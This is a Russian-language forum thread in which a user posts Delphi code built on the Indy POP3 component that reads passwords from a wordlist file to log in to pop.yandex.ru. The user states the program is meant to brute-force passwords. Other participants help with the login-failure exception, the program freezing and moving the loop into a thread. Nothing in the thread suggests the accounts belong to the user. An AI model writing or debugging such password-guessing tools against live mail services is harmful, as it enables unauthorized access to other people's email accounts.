[ssg]

у меня есть код

Код:

procedure ready(IdPOP31:TIdPOP3; edit1,edit2,edit3:TEdit; label4,label5:
TLabel);
begin
host:='pop.yandex.ru'
user:=edit2.Text;
IdPop31.Host:=host;
IdPOP31.Port:=110;
IdPOP31.Username:=user;
assignfile(list,edit3.Text);
reset(list);
label4.Caption:=label4.Caption+' '+host;
while not eof(list) do begin
   readln(list,s);
   i:=i+1;
end;
label5.Caption:=label5.Caption+' '+inttostr(i);
closefile(list);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ready(IdPOP31,edit1,edit2,edit3,label4,label5);
assignfile(list,edit3.Text);
reset(list);
readln(list,s);
edit4.Text:=s;
IdPOP31.Password:=s;
while not IdPOP31.Connected do begin
    try
     IdPOP31.Connect(50);
    except
     exit;
    end;
end;
label7.Visible:=true;
closefile(list);
end;

запускаю, нажимаю на кнопку, вылазиет ошибка и указывает на строку после try. как сделать так чтобы она не вылазила? программа должна выполнять функцию брута. заранее спасибо

[Alexo]

Какая ошибка?

[ssg]

Если пароль неправильный, то вылазиет ошибка "Login failure, try later". а мне надо, чтобы она не вылазила, а программа продолжала подбирать пароли

[Alexo]

Код:

while not IdPOP31.Connected do begin
    try
     IdPOP31.Connect(50);
    except
     exit;
    end;
end;

Ты запускаешь в Delphi? Если да то там ошибки будут по любому выскакивать. У меня данный код работает без проблем.

[ssg]

Спс, разобрался. Но возникла проблема. Помогите пожалуйста. Исходник
После нажатия на старт всё идёт почти как надо, но потом прога зависает.

[Alexo]

idAntiFreze

попробуй

[ssg]

Стоит. не помогает.
посмори в исходнике мож я там чё-нить непрально сделал

[lmikle]

Можешь код, который может выполняться неопределенное время "выкинуть" в отдельный поток.